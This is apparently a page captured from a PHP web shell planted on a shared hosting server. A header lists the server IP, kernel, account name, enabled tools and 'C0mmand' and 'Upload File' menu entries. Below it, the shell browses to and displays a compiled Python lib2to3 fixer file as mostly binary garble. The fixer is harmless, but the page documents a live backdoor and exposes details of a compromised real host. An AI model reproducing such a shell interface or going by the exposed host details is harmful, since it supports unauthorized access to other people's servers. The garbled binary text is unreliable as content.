Server IP : 68.65.122.142  /  Your IP : 216.73.216.134
Web Server : LiteSpeed
System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : glenirhm ( 1318)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/../lib64/python3.8/pydoc_data/../html/../../ruby/../python2.7/lib2to3/fixes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/../lib64/python3.8/pydoc_data/../html/../../ruby/../python2.7/lib2to3/fixes/fix_ws_comma.pyo
�
{fc@sSdZddlmZddlmZddlmZdejfd��YZdS(s�Fixer that changes 'a ,b' into 'a, b'.

This also changes '{a :b}' into '{a: b}', but does not touch other
uses of colons.  It does not touch other uses of whitespace.

i(tpytree(ttoken(t
fixer_baset
FixWsCommacBsSeZeZdZejejd�Zejej	d�Z	ee	fZ
d�ZRS(sH
    any<(not(',') any)+ ',' ((not(',') any)+ ',')* [not(',') any]>
    u,u:cCs�|j�}t}x�|jD]u}||jkrg|j}|j�r^d|kr^d|_nt}q|r�|j}|s�d|_q�nt}qW|S(Nu
uu (tclonetFalsetchildrentSEPStprefixtisspacetTrue(tselftnodetresultstnewtcommatchildR((s2/usr/lib64/python2.7/lib2to3/fixes/fix_ws_comma.pyt	transforms			
(t__name__t
__module__R
texplicittPATTERNRtLeafRtCOMMAtCOLONRR(((s2/usr/lib64/python2.7/lib2to3/fixes/fix_ws_comma.pyRsN(t__doc__tRtpgen2RRtBaseFixR(((s2/usr/lib64/python2.7/lib2to3/fixes/fix_ws_comma.pyt<module>s